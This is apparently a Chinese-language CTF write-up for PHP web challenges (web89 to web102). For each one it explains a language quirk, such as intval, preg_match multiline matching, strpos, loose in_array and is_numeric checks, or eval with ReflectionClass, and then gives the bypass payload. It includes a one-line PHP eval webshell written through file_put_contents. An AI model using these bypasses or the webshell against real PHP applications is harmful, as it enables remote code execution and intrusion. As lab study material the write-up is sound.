PHP特性
web89&90&92&93
intval函数用于获取变量的整数值
绕过姿势:
(1)数组绕过 数组非空时返回1 为空时返回0
弱比较时候可以传入两个空数组
(2)小数转换
intval() 转换小数类型时,只返回个位数,不遵循四舍五入的原则。
某个数字被过滤 可以在后面加上小数部分
(3) 整数加字符 eg:4456a 被解析为4456
(4)取反 支持两次取反绕过
(5)可以通过运算符 5*5=25 绕过25的过滤
但这里过滤了0~9
这里可以构造数组 数组非空时返回1
payload:?num[]=1
web91&
绕过preg_match
/m 表示多行匹配
91:本题需要匹配到换行后的php 但不能匹配到本行的php
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
因此可以构造%0aphp
web94&95
strpos函数
查找字符串首次出现的位置
if(!strpos($num, "0")){
die("no no no!");
表示num中必须要包含0
但是第一位不能是0!! 如果第一位是0 strpos函数就会执行die
所以不能使用常规8进制绕过
这里可以使用小数绕过 4476.10
95这道题过滤了小数点
可以使用八进制 + %0a 或者%20 组合进行绕过
payload=%0a010574
web96
过滤了flag.php
linux下可以使用./表示根目录 因此可以使用./flag.php
web97
md5强碰撞 用数组绕过
web98
$_GET?$_GET=&$_POST:'flag'; 如果使用GET传参,则使用POST传参来代替
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
如果GET传参flag的值=flag则将cookie的值代替flag中的值
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
如果GET传参flag的值=flag则将server的值代替flag中的值
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);如果GET传参HTTP_FLAG的值为flag则输出$flag
get传一个http_flag的任意值
再post一个http_flag=flag 即可
web99
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
array_push()向第一个参数的数组尾部添加一个或多个元素 即插入一个随机值
in_array()函数搜索数组中是否存在指定的值。这里并没有第三个参数type,
因此存在漏洞,就可以形成自动转换,即n=1.php会自动转换为1
file_put_contents函数将一个字符串写入文件中,因此可以通过post传参一句话木马到1.php中
?n=1.php
content=<?php @eval($_POST[a]);?>
web100&web101
is_numeric函数
作用是判断输入是不是数字或数字字符串。
对于整数的整型 浮点型 以及字符型 ‘1.1’
还有16进制 或者0e开头的科学计数法都是true
都会返回TRUE
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
and 和or 的优先级都低于=
已经只需要满足v1是纯数字
eval("$v2('ctfshow')$v3");
v2一定要用来执行命令 也就是构造出
涉及到类,可以考虑使用 ReflectionClass 建立反射类。
new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。
echo new ReflectionClass(‘ctfshow’)
v3正则必须有;,可以v3=;作为v2语句的结束符
payload:
?v1=1&v2=echo new ReflectionClass&v3=;
web102
substr函数
从字符串中截取字符
string substr( $str, start, length);
call_user_func

浙公网安备 33010602011771号